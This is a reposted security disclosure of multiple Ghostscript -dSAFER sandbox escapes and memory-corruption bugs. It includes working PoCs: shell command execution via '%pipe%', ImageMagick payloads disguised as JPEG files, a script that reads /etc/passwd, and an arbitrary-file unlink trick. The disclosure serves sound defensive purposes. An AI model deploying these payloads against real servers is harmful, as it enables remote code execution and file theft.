Ghostscript – Multiple Vulnerabilities

  • 作者: Google Security Research
    日期: 2018-08-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45243/
  • http://seclists.org/oss-sec/2018/q3/142
    
    These are critical and trivial remote code execution bugs in things like ImageMagick, Evince, GIMP, and most other PDF/PS tools.
    
    ----
    
    Hello, this was discussed on the distros list, but it was suggested to move discussion to oss-security.
    
    You might recall I posted a bunch of -dSAFER sandbox escapes in ghostscript a few years ago:
    
    http://seclists.org/oss-sec/2016/q4/29
    
    I found a few file disclosure, shell command execution, memory corruption and type confusion bugs. There was also one that was found exploited in the wild. There was also a similar widely exploited issue that could be exploited identically.
    
    TL;DR: I *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default.
    
    $ convert input.jpg output.gif
    uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    
    I've found a few more surprising ways to reach ghostscript recently, so went back to look again and found a few more.
    
    1. /invalidaccess checks stop working after a failed restore, so you can just execute shell commands if you handle the error. Exploitation is very trivial. Repro:
    
    $ gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null 
    GS>legal
    GS>{ null restore } stopped { pop } if
    GS>legal
    GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
    GS<1>showpage
    uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    
    (ImageMagick PoC at end of mail)
    
    2. setcolor claims no operand checking is necessary, because it's hidden behind a pseudo-operator of the same name. That's true, but you can still call it indirectly via setpattern, so type checking is necessary. Repro:
    
    $ gs -q -sDEVICE=ppmraw -dSAFER
    GS><< /Whatever 16#414141414141 >> setpattern
    Segmentation fault
    
    3. The LockDistillerParams boolean isn't type checked, so nice easy type confusion. Repro:
    
    $ gs -q -sDEVICE=ppmraw -dSAFER
    GS><< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams
    Segmentation fault
    
    
    4. .tempfile permissions don't seem to work, I don't know when they broke. You're not supposed to be able to open files outside of the patterns in thePermitFileReading array, but that doesn't seem to work for me e.g.:
    $ strace -fefile gs -sDEVICE=ppmraw -dSAFER
    ...
    GS>(/proc/self/cwd/hello) (w) .tempfile
    open("/proc/self/cwd/hello26E8LQ", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
    GS<2>dup
    GS<3>(hello) writestring
    GS<2>closefile
    
    This means you can create a file in any directory (I don't think you can prevent the random suffix). Additionally, I have a trick to let you read and unlink any file you have permission to.
    
    Here is how to unlink() any file:
    
    $ strace -fefile gs -sDEVICE=ppmraw -dSAFER
    ...
    GS>{ .bindnow } stopped {} if
    GS>(/etc/passwd) [] .tempfile
    GS<2>.quit
    unlink("/etc/passwd") = -1 EACCES (Permission denied)
    +++ exited with 0 +++
    
    Reading is more complicated, because the best way I know how to do it is to interpret a file as as PostScript and catch the syntax errors, here is an example:
    
    $ cat fileread.ps
    /FileToSteal (/etc/passwd) def
    errordict /undefinedfilename {
    FileToSteal % save the undefined name
    } put
    errordict /undefined {
    (STOLEN: ) print
    counttomark {
    ==only
    } repeat
    (\n) print
    FileToSteal
    } put
    errordict /invalidfileaccess {
    pop
    } put
    errordict /typecheck {
    pop
    } put
    FileToSteal (w) .tempfile
    statusdict
    begin
    1 1 .setpagesize
    end
    quit
    $ gs -q -sDEVICE=ppmraw -dSAFERfileread.ps
    GPL Ghostscript 9.23:
    STOLEN: root:x:0:0:root:
    STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd)
    STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd)
    STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd)
    STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd)
    STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd)
    
    This can be used to steal arbitrary files from webservers that use ImageMagick by encoding file contents into the image output, see my previous PoC here for an example. i.e. You can make convert malicious.jpg thumbnail.jpg produce an image with the contents of a file visible.
    
    These bugs were found manually, I also wrote a fuzzer and I'm working on minimizing a very large number of testcases that I'm planning to report over the next few days. I will just file those issues upstream and not post each individual one here, you can monitor https://bugs.ghostscript.com/ if you want to.I expect there to be several dozen unique bugs.
    
    In the meantime, I really *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default. I think this is the number one "unexpected ghostscript" vector, imho this should happen asap. IMHO, -dSAFER is a fragile security boundary at the moment, and executing untrusted postscript should be discouraged, at least by default.
    
    Please note, ImageMagick sends some initialization commands to ghostscript that breaks my minimal PoC, but you can just undo their changes in PostScript.
    
    This one works for me on the version in Ubuntu:
    $ cat shellexec.jpeg
    %!PS
    userdict /setpagedevice undef
    save
    legal
    { null restore } stopped { pop } if
    { legal } stopped { pop } if
    restore
    mark /OutputFile (%pipe%id) currentdevice putdeviceprops
    $ convert shellexec.jpeg whatever.gif
    uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    
    For CentOS, try this:
    
    $ cat shellexec.jpeg
    %!PS
    userdict /setpagedevice undef
    legal
    { null restore } stopped { pop } if
    legal
    mark /OutputFile (%pipe%id) currentdevice putdeviceprops
    $ convert shellexec.jpeg whatever.gif
    uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    
    
    ################################################################################
    
    
    Upstream bugs filed so far on https://bugs.ghostscript.com (some have restricted access)
    
    699654	/invalidaccess checks stop working after a failed restore
    699655	missing type checking in setcolor
    699656	LockDistillerParams boolean missing type checks
    699659	missing type check in ztype
    699657	.tempfile SAFER restrictions seem to be broken
    699658	Bypassing PermitFileReading by handling undefinedfilename error
    
    
    ################################################################################
    
    
    Repro for "missing type check in ztype":
    
    $ gs -q -sDEVICE=ppmraw -dSAFER 
    GS>null [[][][][][][][][][][][][][][][]] .type
    Segmentation fault
    
    
    ################################################################################
    
    
    more upstream bugs
    
    699665 memory corruption in aesdecode
    699663 .setdistillerkeys memory corruption
    699664 corrupt device object after error in job
    699660 shading_param incomplete type checking
    699661 pdf14 garbage collection memory corruption
    699662 calling .bindnow causes sideeffects